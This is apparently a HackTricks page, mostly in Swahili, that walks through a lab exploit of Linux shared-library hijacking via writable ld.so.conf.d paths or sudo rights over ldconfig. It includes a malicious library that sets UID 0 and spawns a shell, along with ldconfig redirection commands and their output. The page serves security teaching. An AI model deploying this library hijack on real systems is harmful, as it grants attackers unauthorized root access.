ld.so privesc exploit example

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Angalia mpango wa usajili!

• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.

• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

Andaa mazingira

Katika sehemu ifuatayo unaweza kupata msimbo wa faili tunazotumia kuandaa mazingira

sharedvuln.c

#include <stdio.h>
#include "libcustom.h"

int main(){
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
}

libcustom.h

#include <stdio.h>

void vuln_func();

libcustom.c

#include <stdio.h>

void vuln_func()
{
puts("Hi");
}

1. Unda hizo faili kwenye mashine yako katika folda ile ile

2. Kusanya maktaba: gcc -shared -o libcustom.so -fPIC libcustom.c

3. Nakili libcustom.so kwenda /usr/lib: sudo cp libcustom.so /usr/lib (privs za root)

4. Kusanya kifaa: gcc sharedvuln.c -o sharedvuln -lcustom

Angalia mazingira

Angalia kwamba libcustom.so inachukuliwa kutoka /usr/lib na kwamba unaweza kutekeleza binary hiyo.

$ ldd sharedvuln
linux-vdso.so.1 =>  (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)

$ ./sharedvuln
Welcome to my amazing application!
Hi

Exploit

Katika hali hii tunaenda kudhani kwamba mtu ameunda kiingilio chenye udhaifu ndani ya faili katika /etc/ld.so.conf/:

sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf

The vulnerable folder is /home/ubuntu/lib (where we have writable access). Pakua na uunde msimbo ufuatao ndani ya njia hiyo:

//gcc -shared -o libcustom.so -fPIC libcustom.c

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

void vuln_func(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}

Sasa kwamba tumekuwa tumetengeneza maktaba ya libcustom yenye madhara ndani ya njia isiyo sahihi, tunahitaji kusubiri kwa kuanzisha upya au kwa mtumiaji wa root kutekeleza ldconfig (ikiwa unaweza kutekeleza hii binary kama sudo au ina suid bit utaweza kuitekeleza mwenyewe).

Mara hii itakapofanyika angalia tena wapi sharevuln inachukua maktaba ya libcustom.so:

$ldd sharedvuln
linux-vdso.so.1 =>  (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)

Kama unavyoona inachukua kutoka /home/ubuntu/lib na ikiwa mtumiaji yeyote atatekeleza, shell itatekelezwa:

$ ./sharedvuln
Welcome to my amazing application!
I'm the bad library
$ whoami
ubuntu

Kumbuka kwamba katika mfano huu hatujapandisha mamlaka, lakini kwa kubadilisha amri zinazotekelezwa na kusubiri mtumiaji wa root au mwingine mwenye mamlaka kutekeleza binary iliyo hatarini tutaweza kupandisha mamlaka.

Mipangilio mingine isiyo sahihi - Uthibitisho sawa

Katika mfano wa awali tulifanya uongo kuhusu mipangilio isiyo sahihi ambapo msimamizi aliweka folda isiyo na mamlaka ndani ya faili ya mipangilio ndani ya /etc/ld.so.conf.d/. Lakini kuna mipangilio mingine isiyo sahihi ambayo inaweza kusababisha udhaifu sawa, ikiwa una idhini za kuandika katika baadhi ya faili za mipangilio ndani ya /etc/ld.so.conf.d, katika folda /etc/ld.so.conf.d au katika faili /etc/ld.so.conf unaweza kuunda udhaifu sawa na kuutumia.

Exploit 2

Fikiria una mamlaka ya sudo juu ya ldconfig. Unaweza kuonyesha ldconfig wapi kupakia faili za conf, hivyo tunaweza kutumia fursa hii kufanya ldconfig ipakie folda zisizo na mipaka. Hivyo, hebu tuunde faili na folda zinazohitajika kupakia "/tmp":

cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf

Sasa, kama ilivyoonyeshwa katika kuvunjwa kwa awali, unda maktaba mbaya ndani ya /tmp. Na hatimaye, hebu tupakue njia na kuangalia ni wapi binary inayo pakua maktaba kutoka:

ldconfig -f fake.ld.so.conf

ldd sharedvuln
linux-vdso.so.1 =>  (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)

Kama unavyoona, kuwa na ruhusa za sudo juu ya ldconfig unaweza kutumia udhaifu huo huo.

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.